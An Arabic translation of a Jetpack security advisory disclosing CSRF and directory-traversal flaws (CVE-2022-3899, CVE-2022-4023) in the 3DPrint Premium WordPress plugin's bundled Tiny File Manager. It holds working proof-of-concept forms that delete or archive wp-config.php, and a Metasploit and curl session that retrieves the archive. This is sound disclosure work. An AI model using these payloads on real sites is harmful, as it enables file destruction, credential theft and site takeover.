تم العثور على نقاط الضعف في البرنامج المساعد 3DPrint Premium
نشرت: 2022-12-13الإصدار المتميز من البرنامج المساعد WordPress 3DPrint عرضة للتزوير عبر الموقع (CSRF) وهجمات اجتياز الدليل عند تمكين وظيفة مدير الملفات. تسمح نقاط الضعف هذه للمهاجم بحذف الملفات والأدلة التعسفية على المواقع المتأثرة أو الوصول إليها ، بما في ذلك الملفات الحساسة مثل ملفات تكوين الموقع ، والتي قد تؤدي مرة أخرى إلى الاستيلاء على الموقع بالكامل.
في الآونة الأخيرة ، أثناء النظر في بعض الإيجابيات الخاطئة المحتملة التي تم تحديدها من خلال توقيعاتنا التجريبية ، اكتشفنا بعض التعليمات البرمجية التي حيرتنا في المكون الإضافي المميز 3DPrint.
require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );
global $wpdb;
set_time_limit(0);
ini_set( 'memory_limit', '-1' );
تم العثور على هذا المقتطف في وحدة Tiny File Manager PHP الموجودة داخل دليل التضمين الخاص بالملحق الإضافي ، ولكن لم يتم العثور عليه في مشروع Tiny File Manager الأصلي. يبدو أنه تم حقنه بقصد دمجه مع عناصر التحكم في الوصول المستندة إلى الأدوار في WordPress.
عادةً ما يكون تحميل ملفات أكواد WordPress مثل هذا في وحدة نمطية غير ذات صلة علامة على أن شيئًا ما معطل قليلاً ، لذلك قررنا إجراء مزيد من التحقيق.
سيلاحظ القارئ الملاحظ أن الوصول إلى الوحدة يقتصر على المستخدمين الذين يشغلون دور المسؤول ، ولكن لا توجد عمليات تحقق nonce. سيكون ذلك جيدًا إذا كان Tiny File Manager لديه حماية CSRF خاصة به ، ولكن نظرًا لأن هذا لم يكن هو الحال ، يبدو أن هذا الرمز قد يكون عرضة لهجوم CSRF. (أضاف Tiny File Manager منذ ذلك الحين حماية CSRF بعد أن جعلناهم على دراية بالمشكلة. يجب أن يكون الإصدار 2.5.0 والإصدارات الأحدث أكثر أمانًا للاستخدام!)
أحد العوامل المعقدة هو أن Tiny File Manager غير مدرج في الحزمة عند تثبيت 3DPrint Premium ولكن يتم تنزيله عند الطلب عند تنشيطه. الإصدار الذي تم تنزيله وقت كتابة هذا التقرير هو الإصدار 2.4.4 ، ولكن تم تعديله بشكل كبير بواسطة مطوري 3DPrint ، ويتم تنزيله من المجال الخاص بهم ، وليس مباشرة من مستودعات Tiny File Manager.
تمت إزالة معظم التغييرات التي تم إجراؤها من الوظائف التي لا يستخدمها المكون الإضافي ، بالإضافة إلى بعض التغييرات الأخرى ، مثل الترميز الثابت للمسار ، مما يحد مما يجب أن يتمكن مدير الملفات من الوصول إليه. بالإضافة إلى ذلك ، تم تعطيل ميزات المصادقة والترخيص المضمنة في Tiny File Manager واستبدالها بالتكامل أعلاه مع نظام دور WordPress.
لقد اكتشفنا بضع نقاط ضعف حيث يصبح الجمع بين عناصر التحكم في الوصول المعدلة وإدراج Tiny File Manager في المكون الإضافي 3DPrint قابلاً للاستغلال لمهاجم خارجي. يتضمن ذلك حذف أو تنزيل الملفات الحساسة ، مما قد يسمح بالاستيلاء الكامل على الموقع. تستغل هذه الثغرات الأمنية عدم وجود عمليات تدقيق غير متوقعة في عناصر التحكم في الوصول المعدلة ، جنبًا إلى جنب مع الثغرات الأمنية لاجتياز الدليل في Tiny File Manager نفسه.
لقد حاولنا الاتصال ببائع كل من البرنامج المساعد 3DPrint ومشروع Tiny File Manager. من بين هؤلاء ، لم يستجب لنا سوى مطورو مشروع Tiny File Manager وقاموا بإصلاح المشكلات التي قدمناها إليهم.
تحقق من WAF الجديد الخاص بنا كجزء من Jetpack Scan ، والذي سيحمي من هذه الهجمات خارج الصندوق. إنه حاليًا في مرحلة تجريبية. سيكتشف Jetpack Scan أيضًا المكون الضعيف ويساعد في إزالته.
نظرًا لأنه يتم تنزيل وحدة Tiny File Manager وتثبيتها عند الطلب ، فليس هناك بالضرورة تطابق بين إصدار البرنامج المساعد وإصدار Tiny File Manager المستخدم. ومع ذلك ، بمجرد التثبيت ، لا يبدو أن هناك طريقة سهلة لتحديث وحدة Tiny File Manager بصرف النظر عن حذفها يدويًا وتفعيلها مرة أخرى.
لهذا السبب ، نعتبر جميع إصدارات 3DPrint معرضة للثغرات الأمنية التالية إذا تم تنشيط مدير الملفات.
نقاط الضعف
1. CSRF يؤدي إلى حذف ملف / دليل تعسفي
- البرنامج المساعد: 3DPrint
- سبيكة البرنامج المساعد: 3dprint
- عنوان URI للمكون الإضافي: http://www.wp3dprinting.com/2015/07/29/changelog/
- الإصدارات الضعيفة: الكل
- الإصدار الثابت: لا يوجد
- نتيجة CVSS: 8.2 (مرتفع ، CVSS: 3.1 / AV: N / AC: L / PR: N / UI: R / S: C / C: N / I: H / A: L)
- CVE: CVE-2022-3899
وظيفة الحذف الجماعي في الإصدار المضمن من Tiny File Manager (الإصدار 2.4.4) ليست محمية بشكل صحيح ضد اجتياز الدليل وتفتقر أيضًا إلى حماية CSRF. يسمح هذا للمهاجم بخداع المسؤول لحذف ملفات متعددة أو حتى أدلة على الخادم بشكل متكرر.
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg('Selected files and folder deleted');
} else {
fm_set_msg('Error while deleting items', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
يمكن استغلال ذلك بتمرير group
delete
معلمات POST إلى أي قيمة ، وتمرير مجموعة من الملفات / الدلائل لحذفها في معلمة file
. المتغير $new_path
عبارة عن سلسلة بسيطة من FM_ROOT_PATH
واسم الملف الذي تم تمريره ، والذي تم تمريره إلى وظيفة الحذف العودية fm_rdelete()
. نظرًا لأن fm_rdelete()
لا يقوم بأي تحقق من صحة أسماء المسار التي قدمها ، فإن هذا يجعل هذا الرمز عرضة لهجوم اجتياز الدليل.
فيما يلي مثال لإثبات المفهوم:
<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="delete" value="1">
<input type="hidden" name="file[1]" value="../2020">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
<input type="submit" value="Get rich!">
</form>
جميع المسارات مرتبطة بالدليل wp-content/uploads/p3d/
على الخادم. عندما ينقر أي مسؤول قام بتسجيل الدخول على الزر ليصبح ثريًا ، سيتم حذف عمليات التحميل الخاصة به من عام 2020 جنبًا إلى جنب مع ملف المواقع wp-config.php
.
2. CSRF تؤدي إلى تنزيلات عشوائية
- البرنامج المساعد: 3DPrint
- سبيكة البرنامج المساعد: 3dprint
- عنوان URI للمكون الإضافي: http://www.wp3dprinting.com/2015/07/29/changelog/
- الإصدارات الضعيفة: الكل
- الإصدار الثابت: لا يوجد
- درجة CVSS: 7.4 (مرتفع ، CVSS: 3.1 / AV: N / AC: L / PR: N / UI: R / S: C / C: H / I: N / A: N)
- CVE: CVE-2022-4023
الوظيفة الموجودة في الإصدار المضمن من Tiny File Manager (الإصدار 2.4.4) لتنزيل أرشيف مضغوط أو tar للملفات المحددة غير محمي ضد اجتياز الدليل ويفتقر إلى حماية CSRF. يسمح هذا للمهاجم بخداع المسؤول لإنشاء أرشيف مضغوط أو tar مع ملفات وأدلة عشوائية من الموقع ، بما في ذلك ملفات التكوين أو أي محتوى حساس آخر.
يتم وضع الأرشيف في دليل تحميل 3DPring العادي ، wp-content/uploads/p3d/
. لا يمكن للمهاجم التحكم في اسم الملف إلا جزئيًا ولكن يمكن التنبؤ به بدرجة كافية بحيث يكون من السهل نسبيًا استخدام القوة الغاشمة. إذا كانوا يعرفون في أي وقت تم إرسال الطلب المزور ، فيجب أن يكون من التافه أيضًا تقديم تخمين مستنير.
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
من خلال إرسال طلب نشر مع group
، فإن المتغيرات zip
أو tar
المعينة لأي قيمة ستنشئ أرشيفًا بالملفات المحددة في معلمة file
. سيتم إلحاق التاريخ والوقت الحاليين باسم الملف للأرشيف ، والذي سيكون له نفس الاسم الأساسي للملف المؤرشف ، أو "الأرشيف" إذا تم أرشفة عدة ملفات معًا. سيتم إنشاء الأرشيف في دليل تحميل 3DPrint ، لكن أسماء مسارات الملفات لم يتم تطهيرها ، ويمكن أن تحتوي على مسارات خارج هذا الدليل ، مما يجعلها عرضة لهجمات اجتياز الدليل.
لاستغلال هذه الثغرة الأمنية ، أنشأنا وحدة حمولة بسيطة لـ Metasploit والتي تعمل كنموذج إرسال ذاتي مع حمولة ضارة إلى الموقع الضعيف. كان إثبات حمولة المفهوم المرسلة:
<!DOCTYPE html>
<html>
<body>
<form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="zip" value="1">
<input type="hidden" name="file[1]" value="../2022">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
نظرًا لأن الوحدة النمطية Metasploit ستسجل الطابع الزمني لوقت إرسال النموذج ، مما جعل من السهل تخمين اسم الملف الصحيح للأرشيف الذي تم إنشاؤه.
% msfconsole
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00
msf6 payload(html/html_reverse_http) > exit
% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes
% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 87225 100 87225 0 0 2322k 0 --:--:-- --:--:-- --:--:-- 2366k
% unzip -v archive_221210_100649.zip
Archive: archive_221210_100649.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/12/
85888 Defl:X 85655 0% 2022-12-10 10:05 724f1f67 ../2022/12/funny-cat.jpg
1955 Defl:X 1114 43% 2022-11-01 23:25 96f2088a ../../../wp-config.php
-------- ------- --- -------
87843 86769 1% 4 files
لاحظ كيف يمكننا استنتاج اسم الملف للأرشيف المُنشأ من الطابع الزمني للطلب. في هذه الحالة ، يتم تشغيل حاوية الخادم منطقة زمنية واحدة خلف المنطقة الزمنية المحلية.
التوصيات
نظرًا لأن إصدار مدير الملفات المثبت مستقل عن إصدار المكون الإضافي المثبت ، فلا يمكننا التوصية بإصدار ثابت من المكون الإضافي.
لم نجد طريقة سهلة لتحديث وحدة مدير الملفات إذا تم إصدار إصدار جديد في وقت لاحق.
لهذا السبب ، فإننا نعتبر أن جميع إصدارات المكون الإضافي المميز 3DPrint معرضة للخطر إذا تم تمكين مكون مدير الملفات.
توصيتنا هي التأكد من تعطيل وحدة مدير الملفات ، وإزالة الملف من الموقع.
أسهل طريقة هي حذف الملف wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php
إذا كان موجودًا.
الاستنتاجات
جميع إصدارات المكون الإضافي المميز 3DPrint معرضة لهجمات CSRF وهجمات اجتياز الدليل إذا تم تمكين وحدة مدير الملفات على الموقع. لا يؤثر هذا على الإصدار المجاني من المكون الإضافي الذي تم تنزيله من مستودع مكونات WordPress.org.
في Jetpack ، نعمل بجد للتأكد من حماية مواقع الويب الخاصة بك من هذه الأنواع من الثغرات الأمنية. نوصي بأن يكون لديك خطة أمان لموقعك تتضمن فحص الملفات الضارة والنسخ الاحتياطي. تعد حزمة Jetpack Security أحد خيارات الأمان الرائعة في WordPress لضمان أمان موقعك وزوارك. يتضمن هذا المنتج فحصًا للبرامج الضارة في الوقت الفعلي ، ونسخًا احتياطية للموقع ، والتعليق وحماية البريد العشوائي من Akismet ، وحماية هجوم القوة الغاشمة ، والمزيد.
الاعتمادات
بحث بواسطة Harald Eilertsen ، مع ملاحظات وتصحيحات مقدمة من Benedict Singer و Rob Pugh و Jen Swisher وفريق Jetpack Scan.
الجدول الزمني
- 2022-09-08: علمنا بالنتيجة وبدأنا التحقيق
- 2022-10-25: الاتصال بالمورد لأول مرة
- 2022-11-01: تم الاتصال بالبائع للمرة الثانية من خلال قناة مختلفة
- 2022-11-08: الكشف عن ثغرة أمنية في الحذف الجماعي (CVE-2022-3899)
- 2022-11-15: مطوري Tiny File Manager الذين تم الاتصال بهم بشأن نقص حماية CSRF ونقاط ضعف اجتياز الدليل.
- 2022-11-19: تم إصدار Tiny File Manager 2.5.0 لإصلاح مشكلات CSRF ولكن ليس مشكلات اجتياز الدليل.
- 2022-12-13: الإفصاح العام